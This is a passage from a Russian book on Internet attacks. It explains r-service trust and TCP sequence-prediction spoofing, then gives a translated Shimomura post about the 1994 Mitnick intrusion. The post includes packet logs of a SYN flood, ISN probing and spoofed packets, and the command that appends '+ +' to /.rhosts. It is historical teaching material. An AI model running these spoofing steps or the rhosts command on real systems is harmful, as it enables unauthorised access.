Текст книги "Атака на Internet"

В ОС UNIX существует понятие доверенный хост. Доверенным по отношению к какому-либо хосту называется сетевой компьютер, доступ на который пользователю с данного хоста разрешен без его аутентификации и идентификации с помощью r-службы (r – сокращение от англ. «remote» – удаленный). Обычно в ОС UNIX существует файл rhosts, в котором находится список имен и IP-адресов доверенных хостов. Для получения удаленного доступа к ним пользователю необходимо применить программы, входящие в r-службу (например, rlogin, rsh и т. д.). При использовании r-программ с доверенного хоста для получения удаленного доступа не требуется проходить стандартную процедуру идентификации и аутентификации, заключающуюся в проверке логического имени и пароля пользователя. Единственной аутентифицирующей пользователя информацией для r-службы является IP-адрес хоста, с которого осуществляется удаленный r-доступ (см. в главе 8 раздел «Программно-аппаратные методы защиты от удаленных атак в сети Internet»). Отметим, что все программы из r-службы реализованы на базе протокола TCP. Одной из программ, входящих в r-службу, является rsh (remote shell), с помощью которой возможно осуществление данной атаки: эта программа позволяет отдавать команды shell удаленному хосту, причем, чтобы отдать команду, достаточно послать запрос, а ответ на него получать необязательно. При атаке на r-службу вся сложность для кракера заключается в том, что ему необходимо послать пакет от имени доверенного хоста, то есть в качестве адреса отправителя нужно указать IP-адрес такого хоста. Следовательно, ответный пакет будет отправлен именно на доверенный хост, а не на хост атакующего.

Схема удаленной атаки на rsh-сервер (рис. 4.15) была впервые описана небезызвестным Р. Т. Моррисом-старшим [13].

Рис. 4.15. Подмена одного из участников TCP-соединения при атаке на rsh-сервер

Пусть хост А доверяет хосту В. Хост X-Hacker – это станция атакующего.

Вначале атакующий X-Hacker открывает настоящее TCP-соединение с хостом В на любой TCP-порт (mail, echo и т. д.). В результате X-Hacker получает текущее на данный момент времени значение ISNb. Затем X-Hacker от имени хоста А посылает на хост В TCP-запрос на открытие соединения: SYN, ISSx.

Получив этот запрос, В анализирует IP-адрес отправителя и решает, что пакет пришел с хоста А. Следовательно, в ответ хост В посылает на А новое значение ISNb': SYN, ACK, ISNb', ACK(ISSx+1).

X-Hacker никогда не получит это сообщение от В, но, используя предыдущее значение ISNb и схему для получения ISNb', при помощи математического предсказания может послать пакет на В: ACK, ISSx+1, ACK(ISNb'+1).

Для того чтобы послать этот пакет, вероятно, потребуется перебрать некоторое количество возможных значений ACK(ISSb'+1). Подбирать ISSx+1 не нужно, так как этот параметр TCP-соединения был послан с хоста X-Hacker на объект В в первом пакете.

В случае осуществления данной атаки перед взломщиком возникает следующая проблема. Так как X-Hacker посылает первый пакет на В от имени A, то хост B ответит на A пакетом 2. Но поскольку хост A не посылал на хост B никакого запроса, то, получив такой ответ, перешлет на B пакет с битом RST – закрыть соединение. Кракера это, естественно, не устраивает, поэтому ему придется на некоторое время вывести из строя хост A (см. раздел «Нарушение работоспособности хоста в сети Internet при использовании направленного шторма ложных TCP-запросов на создание соединения либо при переполнении очереди запросов»).

В итоге rsh-сервер на хосте В считает, что к нему подключился пользователь с доверенного объекта А, тогда как на самом деле это атакующий с хоста X-Hacker. И хотя взломщик никогда не получит пакеты с хоста В, он сможет выполнять на нем r-команды.

В заключение авторам хотелось бы привести пример реального инцидента, произошедшего в компьютерном центре Сан-Диего 12 декабря 1994 года, когда взломщик (небезызвестный Кевин Митник) использовал такую схему удаленной атаки. Этот инцидент представляет, как нам кажется, исторический интерес и показывает, что опасности, описанные в нашей книге, являются отнюдь не мнимыми угрозами из Internet, а той реальностью, над которой большинство пользователей просто не задумывается, но которая в любой момент может пожаловать к ним в гости.

Все приведенные ниже сведения взяты из письма эксперта по информационной безопасности Цутому Шимомуры (Tsutomu Shimomura) в различные эхо-конференции.

Далее приводится перевод его оригинального письма с некоторыми сокращениями и нашими комментариями:

« From: [email protected] (Tsutomu Shimomura)

Newsgroups: comp.security.misc,comp.protocols.tcp-ip,alt.security

Subject: Technical details of the attack described by Markoff in NYT

Date: 25 Jan 1995 04:36:37 -0800

Organization: San Diego Supercomputer Center

Message-ID: <[email protected]>

NNTP-Posting-Host: ariel.sdsc.edu

Keywords: IP spoofing, security, session hijacking

Привет с озера Тахо.

В статье Джона Маркоффа от 23.01.95 в газете «Нью-Йорк Таймс» и в рекомендациях CERT CA-95:01, кажется, было довольно много путаницы насчет того, что такое на самом деле атака с использованием подмены IP-адреса с целью подмены одного из абонентов соединения.

Имеется в виду статья в New York Times под названием «Data Network Is Found Open To New Threat». Следующая статья была опубликована 28 января 1995 года под названием «Taking a Computer Crime to Heart». Заключительная статья «A Most-Wanted Cyberthief Is Caught In His Own Web» появилась 16 февраля того же года. Time Magazine напечатал две статьи под следующими громкими заголовками: «KEVIN MITNICK'S DIGITAL OBSESSION» и «CRACKS IN THE NET: America's most wanted hacker has been arrested, but the Internet is more vulnerable than ever». Шумиха, поднятая американской прессой по этому поводу, была столь велика, что нам остается только вспомнить крылатую фразу Шекспира: «Много шума из ничего». Хотя это можно объяснить тем, что, во-первых, в США благодаря стараниям прессы сложился образ злобного суперхакера, этакого «монстра» киберпространства – Кевина Митника; во-вторых, это был один из редких случаев обнародования информации о реальной удаленной атаке; в-третьих, ее осуществление удалось проследить и запротоколировать, что обычно очень непросто; и, в-четвертых, с нашей точки зрения, это, пожалуй, единственная известная, и при этом довольно красивая, удаленная атака на TCP-соединение (истории о «тупых» атаках с перехватом пароля или попытками его подбора читателю уже, видимо, надоели).

Здесь приведены некоторые технические подробности из моей презентации 11.01.95 в CMAD 3 в Сономе, Калифорния. Надеюсь, это поможет снять всяческое непонимание природы этих атак.

Для атаки использовалось два различных механизма. Подмена IP-адреса отправителя и математическое предсказание начального значения идентификатора TCP-соединения позволили получить доступ к бездисковой рабочей станции, которая использовалась как X-терминал.

В письмо включен log-файл, полученный с помощью программы tcpdump, с записью всех пакетов, посланных атакующим. Для краткости этот файл приводится с сокращением некоторых несущественных подробностей.

Моя конфигурация:

server = SPARC с ОС Solaris 1, обслуживающий х-terminal;

х-terminal = бездисковая рабочая станция SPARC с ОС Solaris 1;

target = основная цель атаки.

Атака началась 25 декабря 1994 года в 14:09:32. Первые попытки зондирования осуществлялись с хоста toad.com (информация взята из log-файла).

14:09:32 toad.com# finger -l @target

14:10:21 toad.com# finger -l @server

14:10:50 toad.com# finger -l root@server

14:11:07 toad.com# finger -l @x-terminal

14:11:38 toad.com# showmount -e x-terminal

14:11:49 toad.com# rpcinfo -p x-terminal

14:12:05 toad.com# finger -l root@x-terminal

Зондирование системы позволило определить, есть ли у нее другие доверенные системы для дальнейшей атаки. То, что атакующий смог запустить программы showmount и rpcinfo, означало, что он является пользователем root на хосте toad.com.

Через шесть минут мы видим шторм TCP-запросов на создание соединения с адреса 130.92.6.97 на 513-й порт (login) хоста server. При этом основная цель атакующего – этими однонаправленными TCP-запросами переполнить очередь на 513-ом порту сервера так, чтобы он не смог отвечать на новые запросы на создание соединения. Особенно важно, чтобы сервер не смог сгенерировать TCP-пакет с битом RST в ответ на неожиданно пришедший TCP-пакет с битами SYN и ACK.

Так как порт 513 является привилегированным портом, то теперь IP-адрес хоста server.login может быть свободно использован атакующим для атаки с использованием подмены адреса на r-службы UNIX-систем (rsh, rlogin).

Шимомура здесь и далее после имени или IP-адреса хоста через точку указывает порт назначения. Поэтому запись server.login означает хост server и порт login (513). Соответственно, например, первая из распечатки log-файла запись 130.92.6.97.600 означает, что пакет передается с IP-адреса 130.92.6.97 с 600-го порта.

IP-адрес 130.92.6.97 атакующий выбрал случайным образом из неиспользуемых адресов (ему не нужно получать пакеты, передаваемые на этот адрес).

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096

14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096

14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096

14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096

14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096

14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096

14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096

14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972:1382726972(0) win 4096

14:18:23.903700 130.92.6.97.613 > server.login: S 1382726973:1382726973(0) win 4096

14:18:24.003252 130.92.6.97.614 > server.login: S 1382726974:1382726974(0) win 4096

14:18:24.084827 130.92.6.97.615 > server.login: S 1382726975:1382726975(0) win 4096

14:18:24.142774 130.92.6.97.616 > server.login: S 1382726976:1382726976(0) win 4096

14:18:24.203195 130.92.6.97.617 > server.login: S 1382726977:1382726977(0) win 4096

14:18:24.294773 130.92.6.97.618 > server.login: S 1382726978:1382726978(0) win 4096

14:18:24.382841 130.92.6.97.619 > server.login: S 1382726979:1382726979(0) win 4096

14:18:24.443309 130.92.6.97.620 > server.login: S 1382726980:1382726980(0) win 4096

14:18:24.643249 130.92.6.97.621 > server.login: S 1382726981:1382726981(0) win 4096

14:18:24.906546 130.92.6.97.622 > server.login: S 1382726982:1382726982(0) win 4096

14:18:24.963768 130.92.6.97.623 > server.login: S 1382726983:1382726983(0) win 4096

14:18:25.022853 130.92.6.97.624 > server.login: S 1382726984:1382726984(0) win 4096

14:18:25.153536 130.92.6.97.625 > server.login: S 1382726985:1382726985(0) win 4096

14:18:25.400869 130.92.6.97.626 > server.login: S 1382726986:1382726986(0) win 4096

14:18:25.483127 130.92.6.97.627 > server.login: S 1382726987:1382726987(0) win 4096

14:18:25.599582 130.92.6.97.628 > server.login: S 1382726988:1382726988(0) win 4096

14:18:25.653131 130.92.6.97.629 > server.login: S 1382726989:1382726989(0) win 4096

Хост server на первые восемь запросов генерирует соответственно восемь ответов, после чего очередь переполняется.

Хост server периодически будет посылать эти ответы, но так и не дождется на них никакой реакции.

Кстати, наши эксперименты, описанные в разделе «Направленный шторм ложных TCP-запросов на создание соединения», это подтвердили.

Далее мы видим 20 попыток создания соединения с хоста apollo.it.luc.edu на x-terminal.shell. Основная цель этих запросов – определить закон изменения начального значения идентификатора TCP-соединения на хосте x-terminal. Так как значение ISN увеличивается на единицу с каждым вновь посылаемым запросом, следовательно, эти запросы генерирует не ядро сетевой ОС. При этом очередь запросов на хосте x-terminal не переполняется, так как атакующий после каждого запроса передает пакет с битом RST, что означает «закрыть соединение».

14:18:25.906002 apollo.it.luc.edu.1000 > x-terminal.shell: S 1382726990:1382726990(0) win 4096

14:18:26.094731 x-terminal.shell > apollo.it.luc.edu.1000: S 2021824000:2021824000(0) ack 1382726991 win 4096

14:18:26.172394 apollo.it.luc.edu.1000 > x-terminal.shell: R 1382726991:1382726991(0) win 0

14:18:26.507560 apollo.it.luc.edu.999 > x-terminal.shell: S 1382726991:1382726991(0) win 4096

14:18:26.694691 x-terminal.shell > apollo.it.luc.edu.999: S 2021952000:2021952000(0) ack 1382726992 win 4096

14:18:26.775037 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0

14:18:26.775395 apollo.it.luc.edu.999 > x-terminal.shell: R 1382726992:1382726992(0) win 0

14:18:27.014050 apollo.it.luc.edu.998 > x-terminal.shell: S 1382726992:1382726992(0) win 4096

14:18:27.174846 x-terminal.shell > apollo.it.luc.edu.998: S 2022080000:2022080000(0) ack 1382726993 win 4096

14:18:27.251840 apollo.it.luc.edu.998 > x-terminal.shell: R 1382726993:1382726993(0) win 0

14:18:27.544069 apollo.it.luc.edu.997 > x-terminal.shell: S 1382726993:1382726993(0) win 4096

14:18:27.714932 x-terminal.shell > apollo.it.luc.edu.997: S 2022208000:2022208000(0) ack 1382726994 win 4096

14:18:27.794456 apollo.it.luc.edu.997 > x-terminal.shell: R 1382726994:1382726994(0) win 0

14:18:28.054114 apollo.it.luc.edu.996 > x-terminal.shell: S 1382726994:1382726994(0) win 4096

14:18:28.224935 x-terminal.shell > apollo.it.luc.edu.996: S 2022336000:2022336000(0) ack 1382726995 win 4096

14:18:28.305578 apollo.it.luc.edu.996 > x-terminal.shell: R 1382726995:1382726995(0) win 0

14:18:28.564333 apollo.it.luc.edu.995 > x-terminal.shell: S 1382726995:1382726995(0) win 4096

14:18:28.734953 x-terminal.shell > apollo.it.luc.edu.995: S 2022464000:2022464000(0) ack 1382726996 win 4096

14:18:28.811591 apollo.it.luc.edu.995 > x-terminal.shell: R 1382726996:1382726996(0) win 0

14:18:29.074990 apollo.it.luc.edu.994 > x-terminal.shell: S 1382726996:1382726996(0) win 4096

14:18:29.274572 x-terminal.shell > apollo.it.luc.edu.994: S 2022592000:2022592000(0) ack 1382726997 win 4096

14:18:29.354139 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0

14:18:29.354616 apollo.it.luc.edu.994 > x-terminal.shell: R 1382726997:1382726997(0) win 0

14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096

14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096

14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0

14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096

14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096

14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0

14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096

14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096

14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0

14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096

14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096

14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0

14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096

14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096

14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0

14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096

14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096

14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0

14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096

14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096

14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0

14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096

14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096

14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0

14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096

14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096

14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0

14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096

14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096

14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0

14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096

14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096

14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0

14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096

14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096

14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0

14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096

14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096

14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

Видно, что каждый последующий ответный пакет SYN-ACK, посылаемый с хоста x-terminal, имеет начальное значение идентификатора TCP-соединения на 128 000 больше, чем у предыдущего.

Анализ приведенной распечатки пакетов показывает, что каждое последующее начальное значение ISN на хосте x-terminal.shell отличается от предыдущего на 128 000. Например: 2 024 256 000 – 2 024 128 000 = 128 000 или 2 024 128 000 – 2 024 000 000 = 128 000. Не правда ли, простейший закон генерации ISN?

Далее мы видим поддельный запрос на создание TCP-соединения якобы с хоста server.login на x-terminal.shell. При этом x-terminal доверяет хосту server и, следовательно, x-terminal будет выполнять все запросы, переданные с этого хоста (или с любого другого, подменившего хост server).

X-terminal затем отвечает на хост server пакетом SYN-ACK и ожидает подтверждения этого пакета ACK, что должно означать открытие соединения. Так как хост server игнорирует все пакеты, посланные на server.login, то поддельный пакет атакующего, подтвержденный ACK, должен иметь успех.

Обычно значение подтверждения (ACK) берется из пакета SYN-ACK. Однако атакующий, используя предсказание закона изменения начального значения идентификатора TCP-соединения на хосте x-terminal, сможет получить значение ACK без получения пакета SYN-ACK:

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

Используя полученную математическую зависимость для предсказания значения ISN, атакующий может послать следующий пакет от имени server.login со значением ACK, равным 2 024 384 001, вычисленным по его предыдущему значению 2 024 256 000 добавлением к нему 128 000 + 1.

Хост атакующего сейчас имеет одностороннее соединение с x-terminal.shell, который считает, что это соединение открыто с server.login. Атакующий теперь может передавать пакеты с данными, содержащими верные значения ACK, на x-terminal. Далее он посылает следующие пакеты:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096

14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096

14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

что означает выполнение команды server# rsh x-terminal “echo + + >>/.rhosts”.

Завершая атаку, взломщик от имени server.login посылает на x-terminal.shell три пакета, что эквивалентно выполнению на хосте server следующей r-команды: rsh x-terminal “echo + + >>/.rhosts”. Эта команда дописывает в файл/.rhosts строчку + + и делает доверенными все станции.

Всего атака заняла менее 16 секунд.

Атакующий закрывает ложное соединение:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096

14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096

14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096

14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096

14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

Затем атакующий посылает RST-пакеты и, следовательно, закрывает ранее открытые односторонние соединения с server.login, тем самым освобождая очередь запросов.

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096

14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096

14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096

14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096

14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096

14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096

14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096

14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096

14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096

14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096

14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096

14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096

14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096

14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096

14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096

14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096

14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096

14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096

14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096

14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096

14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096

14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096

14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096

14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096

14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096

14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096

14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096

14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096

14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096

14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

Хост server.login снова готов к приему запросов на создание соединения».

Мы намеренно не стали вдаваться в подробное литературное описание этого инцидента (беллетристики о Митнике более чем достаточно), а остановились только на технических подробностях данной удаленной атаки. В заключение приведем слова Шимомуры, сказанные им в интервью после поимки Митника: «Из того, что я видел, мне он не кажется таким уж большим специалистом». И добавил: «Проблема не в Кевине, проблема в том, что большинство систем действительно плохо защищены. То, что делал Митник, остается осуществимым и сейчас».

Кстати, о том, был ли на самом деле Кевин Митник кракером высшего класса, спорят до сих пор. Начинал он, очевидно, как фрикер (phreaker) высшего класса. Однако его кракерскую деятельность трудно назвать профессиональной, так как он не отличился ничем, кроме профессионального лазанья по помойкам в поисках клочка бумаги с паролями пользователей и заговаривания зубов сетевым администраторам в попытках выудить у них те же пароли (этот вид «атак» теперь получил собственное название – социальная инженерия). Попав в тюрьму, Кевин, видимо, наконец поднабрался необходимого опыта в искусстве сетевого взлома и уже вполне подходил под тот образ суперхакера, который создала американская пресса. Но осуществленная Митником удаленная атака в связи с простейшим законом генерации ISN в ОС Solaris 1 является тривиальной, и, по сути, Шимомура сам на нее напросился. Наверное, если бы Шимомура действительно был таким крупным специалистом по информационной безопасности, каким его рисует пресса, он должен был знать о возможности подобного воздействия. Интересно, почему тогда он ничего не предпринимал? Может быть, ему нужен был этот взлом? До этого случая Шимомуру никто не знал, зато теперь он один из самых известных экспертов по безопасности. К сожалению, ответа на эти вопросы мы, видимо, не получим.